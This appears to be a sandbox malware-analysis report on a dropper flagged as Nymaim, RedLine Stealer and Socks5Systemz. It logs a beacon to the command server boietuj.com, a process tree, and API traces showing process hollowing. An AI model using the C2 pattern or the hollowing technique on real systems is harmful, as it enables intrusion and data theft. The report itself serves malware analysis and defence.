Nov 20, 2024 05:04:16.977709055 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1 Host: boietuj.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 20, 2024 05:04:17.704370022 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 20 Nov 2024 04:04:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Target ID:	0
Start time:	23:02:12
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	438'784 bytes
MD5 hash:	5237853DBEBAEFB1DFA86130DD1D39FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1816811085.0000000000560000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:02:12
Start date:	19/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	438'784 bytes
MD5 hash:	5237853DBEBAEFB1DFA86130DD1D39FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:02:21
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe"
Imagebase:	0x400000
File size:	4'065'622 bytes
MD5 hash:	98C5D582966DD7E46FF73E7D6D62B87D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	23:02:21
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp" /SL5="$403E6,3817417,54272,C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe"
Imagebase:	0x400000
File size:	704'000 bytes
MD5 hash:	62FDBBA6364B54BBE42B437284A2963C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	23:02:23
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\net.exe" pause alter_game_11196
Imagebase:	0x50000
File size:	47'104 bytes
MD5 hash:	31890A7DE89936F922D44D677F681A7F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:02:24
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:02:24
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe" -i
Imagebase:	0x400000
File size:	4'255'772 bytes
MD5 hash:	C1DEEF6663EFF952E8990193B3452A2F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000006.00000002.3048714500.0000000002D95000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	23:02:24
Start date:	19/11/2024
Path:	C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\net1 pause alter_game_11196
Imagebase:	0x170000
File size:	139'776 bytes
MD5 hash:	2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:02:24
Start date:	19/11/2024
Path:	C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe"
Imagebase:	0x8f0000
File size:	4'608 bytes
MD5 hash:	F328A95046E3A2514C36347EAEC911C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 54%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	9.2%
Signature Coverage:	7.7%
Total number of Nodes:	1346
Total number of Limit Nodes:	36

Executed Functions

Function 00404530 Relevance: 70.2, APIs: 30, Strings: 10, Instructions: 223
librarymemorytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(00000000), ref: 00404547
FindNextVolumeMountPointA.KERNEL32(00000000,?,00000000), ref: 0040456F
EnumTimeFormatsW.KERNEL32(00000000,00000000,00000000), ref: 00404578
_calloc.LIBCMT ref: 00404580
__floor_pentium4.LIBCMT ref: 004045AA
GetDllDirectoryW.KERNEL32(00000000,00000000), ref: 004045D7
OpenJobObjectA.KERNEL32(00000000,00000000,sokum), ref: 004045E4
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004045EF
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0040463A
GetLastError.KERNEL32 ref: 00404650
InterlockedExchange.KERNEL32(00000000,00000000), ref: 004046A6
GetDiskFreeSpaceExW.KERNEL32(00000000,00000000,00000000,00000000), ref: 004046B4
SetConsoleCP.KERNEL32(00000000), ref: 004046B8
GetSystemDefaultLCID.KERNEL32 ref: 004046BA
OutputDebugStringW.KERNEL32(00000000), ref: 004046BE
GetUserDefaultLangID.KERNEL32 ref: 004046C4
LoadLibraryW.KERNEL32(roxahiramarorada xegesapipojobozomamele kotunacotebak hufobikoxexolavav), ref: 004046CF
ReadConsoleInputA.KERNEL32(00000000,?,00000000,?), ref: 004046E1
LCMapStringA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000), ref: 00404727
InterlockedIncrement.KERNEL32(?), ref: 0040472D
OpenEventW.KERNEL32(00000000,00000000,himakanesekobajawofehabaluc), ref: 00404738
GetCurrentProcess.KERNEL32 ref: 0040475E
GetLastError.KERNEL32 ref: 00404773
GetFileAttributesA.KERNEL32(rafubajijovisatafesohadiko dibagirosowocutivutiyete jodanevudafuzabasukaropecevemus fuvocarujekahitave kobaxofoboficejonakoropi), ref: 004047C4
GetShortPathNameW.KERNEL32(00000000,?,00000000), ref: 004047D1
SetComputerNameExA.KERNEL32(00000000,kezabohujocozebiwaviracabivolezagecudugefucuhevufofoturulivozevulewiliyudo), ref: 004047DA
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004047DE
GetComputerNameA.KERNEL32(00000000,00000000), ref: 004047E8
InterlockedExchange.KERNEL32(?,00000000), ref: 004047FD
LoadLibraryW.KERNELBASE(msimg32.dll), ref: 0040480E

Strings

P, xrefs: 004045FF
kezabohujocozebiwaviracabivolezagecudugefucuhevufofoturulivozevulewiliyudo, xrefs: 004047D3
msimg32.dll, xrefs: 00404809
{, xrefs: 004047AC
himakanesekobajawofehabaluc, xrefs: 0040472F
rafubajijovisatafesohadiko dibagirosowocutivutiyete jodanevudafuzabasukaropecevemus fuvocarujekahitave kobaxofoboficejonakoropi, xrefs: 004047BF
Bq , xrefs: 00404760
roxahiramarorada xegesapipojobozomamele kotunacotebak hufobikoxexolavav, xrefs: 004046CA
sokum, xrefs: 004045DD
]{, xrefs: 00404781

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Interlocked$ErrorExchangeLastName$ComputerConsoleDefaultFreeLibraryLoadOpenString$AllocAttributesCurrentDebugDirectoryDiskEnumEnvironmentEventFileFindFormatsIncrementInputLangMountNextObjectOutputPathPointProcessReadShortSpaceStringsSystemTimeUserVirtualVolume__floor_pentium4_calloc
String ID: Bq $]{$himakanesekobajawofehabaluc$kezabohujocozebiwaviracabivolezagecudugefucuhevufofoturulivozevulewiliyudo$msimg32.dll$rafubajijovisatafesohadiko dibagirosowocutivutiyete jodanevudafuzabasukaropecevemus fuvocarujekahitave kobaxofoboficejonakoropi$roxahiramarorada xegesapipojobozomamele kotunacotebak hufobikoxexolavav$sokum${$P
API String ID: 839379277-367991866
Opcode ID: ca3011b4622bfdfcd854aed2c97fd6be165c65687d124ae4e0643c35a11a6e17
Instruction ID: 974096606b38ea26204ae26171fc8fb98f18d1e15fefc15eb9b2416e3031f752
Opcode Fuzzy Hash: ca3011b4622bfdfcd854aed2c97fd6be165c65687d124ae4e0643c35a11a6e17
Instruction Fuzzy Hash: F671D3B5900304AFD300AB64ED85F9A77B8EB48705F118076FB49B72E1C6789D458FAD

Function 00630110 Relevance: 21.2, APIs: 14, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00630156
CreateProcessA.KERNELBASE(?,00000000), ref: 00630255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00630270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00630283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0063029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 006302C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 006302E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00630304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0063032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00630399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 006303BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 006303E1
ResumeThread.KERNELBASE(00000000), ref: 006303ED
ExitProcess.KERNEL32(00000000), ref: 00630412

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFreeReadResumeSectionUnmapView
String ID:
API String ID: 3993611425-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: c58f1aed84e77e5f6a8aa54a89c2360201f9d3ccd902219b293132fca4d5a1e3
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: F9B1C774A00209AFDB44CF98C895F9EBBB5FF88314F248158E509AB391D771AE45CF94

Function 00404830 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000000,?,?,?,394E5926,50EDA421,5B9EF562,32C13229,247B75E2,32C13229,00CF5F12,07B6604B,7A3807E7,07B6604B,5B9EF562,07C50BE0), ref: 00404BE5

Strings

Y~o, xrefs: 00404A92
u{$, xrefs: 00404939
&YN9, xrefs: 00404958
{X:, xrefs: 00404969
(LE/, xrefs: 00404866
[fA, xrefs: 0040489D
rU@, xrefs: 0040490C

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CurrentDirectory
String ID: &YN9$(LE/$Y~o$[fA$rU@${X:$u{$
API String ID: 1611563598-2497423792
Opcode ID: a3ed78bc99e31acabe18fc6702c11e40a5f766bbac97d900fcff136f58a8d6f9
Instruction ID: 8ef21abaec44bbe41815287c391c6857c9391bbcd1975ad7498ddf25d1ae78db
Opcode Fuzzy Hash: a3ed78bc99e31acabe18fc6702c11e40a5f766bbac97d900fcff136f58a8d6f9
Instruction Fuzzy Hash: 2CA1EEB5E11218DBCB24CFAAD989ACCFBB4BF08314F208189E519BB611D7309E81CF55

Function 00568303 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0056832B
Module32First.KERNEL32(00000000,00000224), ref: 0056834B

Memory Dump Source

Source File: 00000000.00000002.1816811085.0000000000560000.00000040.00001000.00020000.00000000.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 0c9a85e217f6492fba097b868cdff535ab3fe571951cf7746b930230c632b295
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 07F068352007156FD7202BB59C8DB7E7AE8BF49B25F100A28E682935C0DE70E8454651

Function 00405435 Relevance: 21.1, APIs: 14, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 00405480
__mtinit.LIBCMT ref: 00405486
_fast_error_exit.LIBCMT ref: 00405491
__RTC_Initialize.LIBCMT ref: 00405497
__ioinit.LIBCMT ref: 0040549F
__amsg_exit.LIBCMT ref: 004054AA
GetCommandLineW.KERNEL32 ref: 004054B0
__wsetargv.LIBCMT ref: 004054C4
__amsg_exit.LIBCMT ref: 004054CF
__wsetenvp.LIBCMT ref: 004054D5
__amsg_exit.LIBCMT ref: 004054E0
__cinit.LIBCMT ref: 004054E7
__amsg_exit.LIBCMT ref: 004054F2
__wwincmdln.LIBCMT ref: 004054F8

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandInitializeLine__cinit__ioinit__mtinit__wsetargv__wsetenvp__wwincmdln
String ID:
API String ID: 2477803136-0
Opcode ID: f23b386ac01828051d86de1a1d22736730b8a1091757b76624c1423370fe6f58
Instruction ID: a4ee9618ed378a3bb7a919522be3c2c40b4f225963b6fddf92c77e6441ac5f52
Opcode Fuzzy Hash: f23b386ac01828051d86de1a1d22736730b8a1091757b76624c1423370fe6f58
Instruction Fuzzy Hash: 25218070D04B1599EB247F72A946BAF3264DF10B49F10443FF445BA1C2EE7C98819E5D

Function 00630420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00630533

Strings

saodkfnosa9uin, xrefs: 006304DA
d, xrefs: 00630584
0, xrefs: 00630492
mfoaskdfnoa, xrefs: 00630520, 00630523

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 8d9d3a291de3b2e86f940baeb5e6d1055acf06c27ab7a3cfbd548809c47166c2
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 59512A70D083C8DAEB11CBD8C959BDDBFB26F11708F244058D5447F286C3BA5659CBA6

Function 006305B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 006305EC

Strings

o, xrefs: 00630600
apfHQ, xrefs: 006305E2, 006305E5

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 0ac4966cc156a8af5756c4bc88038304a4014c9bcf64a1b2c98fb7dab43f5f02
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 92011E70C0424CEAEB14DB98C5193EEBFB5AF41308F148099C4092B342D7769B59CBA5

Function 00408F76 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00408F8B

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 412fdcfa998a2dc180ca02fdba4b4619520d9cde1d14665b4eb509facf969a3f
Instruction ID: 606c67907533711c90de2c00727bfc3f838b67ced10fc87823d234ed6ed07053
Opcode Fuzzy Hash: 412fdcfa998a2dc180ca02fdba4b4619520d9cde1d14665b4eb509facf969a3f
Instruction Fuzzy Hash: 36D05E329543455EDB105FB16D087673BDCD788799F00843AF94CC61A0F674D540CA08

Function 0040B5D3 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__setmbcp.LIBCMT ref: 0040B5DD

Part of subcall function 0040B438: __getptd.LIBCMT ref: 0040B448
Part of subcall function 0040B438: getSystemCP.LIBCMT ref: 0040B45D
Part of subcall function 0040B438: __malloc_crt.LIBCMT ref: 0040B473
Part of subcall function 0040B438: __setmbcp_nolock.LIBCMT ref: 0040B496
Part of subcall function 0040B438: InterlockedDecrement.KERNEL32(?), ref: 0040B4AE
Part of subcall function 0040B438: InterlockedIncrement.KERNEL32(00000000), ref: 0040B4D3
Part of subcall function 0040B438: __lock.LIBCMT ref: 0040B4EE
Part of subcall function 0040B438: InterlockedDecrement.KERNEL32 ref: 0040B565
Part of subcall function 0040B438: InterlockedIncrement.KERNEL32(00000000), ref: 0040B589

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Interlocked$DecrementIncrement$System__getptd__lock__malloc_crt__setmbcp__setmbcp_nolock
String ID:
API String ID: 3661747109-0
Opcode ID: 5b6ae681781335ac3479117c5f59d789074385256c95ecb4ea606b1de469e0f9
Instruction ID: 44ab008c5d06301bef77419be8941e27e3c24d4b0c73dbce5d03567f82daa7e2
Opcode Fuzzy Hash: 5b6ae681781335ac3479117c5f59d789074385256c95ecb4ea606b1de469e0f9
Instruction Fuzzy Hash: 62C09B610181440DDB085B256C4564B36504701334F648B6EF050D00D6FFB84144575E

Function 00567FC2 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00568013

Memory Dump Source

Source File: 00000000.00000002.1816811085.0000000000560000.00000040.00001000.00020000.00000000.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 49f69de65c3a81e4ebc8f8ab73b211159e5c72cec2f49315ba4ba0163a4837a0
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 6C112B79A40208EFDB01DF98C989E99BFF5AF08351F1580A4F9489B362D775EA50DB80

Non-executed Functions

Function 00404250 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 129timeCOMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(00000000,00000000), ref: 004042E7
GetCommConfig.KERNEL32(00000000,00000000,00000000), ref: 0040432A
EnumCalendarInfoW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00404347
GetLogicalDriveStringsA.KERNEL32(00000000,?), ref: 00404356
SetComputerNameA.KERNEL32(00000000), ref: 0040435E
ChangeTimerQueueTimer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040436C
GetTempFileNameW.KERNEL32(00000000,00000000,00000000,?), ref: 0040437F
EnumTimeFormatsA.KERNEL32(00000000,00000000,00000000), ref: 0040438B
WriteConsoleInputW.KERNEL32(00000000,00000000,00000000,?), ref: 0040439B
GetVersionExA.KERNEL32(?), ref: 004043A8
InterlockedIncrement.KERNEL32(?), ref: 004043B2
GlobalUnWire.KERNEL32(00000000), ref: 004043C6

Strings

, xrefs: 004042A2

Memory Dump Source

Source File: 00000000.00000002.1816651678.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1816631636.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816651678.000000000042A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816702499.0000000000457000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816723648.0000000000458000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816747545.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816767087.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnumFileNameTimer$AttributesCalendarChangeCommComputerConfigConsoleDriveFormatsGlobalIncrementInfoInputInterlockedLogicalQueueStringsTempTimeVersionWireWrite
String ID:
API String ID: 1727374683-3916222277
Opcode ID: 6c9276afa0e412c8abb43250ca6f0565623f046b8a6442b33019689993d24fb7
Instruction ID: 7d47a6c596a18de5428d23c08a0e8dc81690490798af32374acd518edb6a93b5
Opcode Fuzzy Hash: 6c9276afa0e412c8abb43250ca6f0565623f046b8a6442b33019689993d24fb7
Instruction Fuzzy Hash: A5511B71A40309EFEB10CF94DD85B9DBBB0FB48705F208169E605BB2A0D774AA45CF99

Function 006346E0 Relevance: 22.8, APIs: 8, Strings: 4, Instructions: 1834COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 006349E6
__Init_thread_footer.LIBCMT ref: 00634BC2
__Init_thread_footer.LIBCMT ref: 00634EB7
__Init_thread_footer.LIBCMT ref: 0063507D
__Init_thread_footer.LIBCMT ref: 00635A7D
__Init_thread_footer.LIBCMT ref: 00635D8B
__Init_thread_footer.LIBCMT ref: 00635315

Part of subcall function 00641142: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00641176

__Init_thread_footer.LIBCMT ref: 0063557E

Strings

rmBK, xrefs: 0063529A
O@K\, xrefs: 006352A4
Y@BA, xrefs: 00635000
ZK\., xrefs: 0063552B

Memory Dump Source

Source File: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: O@K\$Y@BA$ZK\.$rmBK
API String ID: 829385169-2391139619
Opcode ID: e45a0d81eba9ddac200c8b89216650d56b5995dbd3a441cdaf0faa975c817427
Instruction ID: 2f64f28c526ef1cf2445d7835e5088fe32b392d1b189d3cf97147eb2fed739ac
Opcode Fuzzy Hash: e45a0d81eba9ddac200c8b89216650d56b5995dbd3a441cdaf0faa975c817427
Instruction Fuzzy Hash: D9F2D1B0D042589FDB24CF24CC497ADBBB2EF05304F5481E8E4496B292DB75AAC5CF99

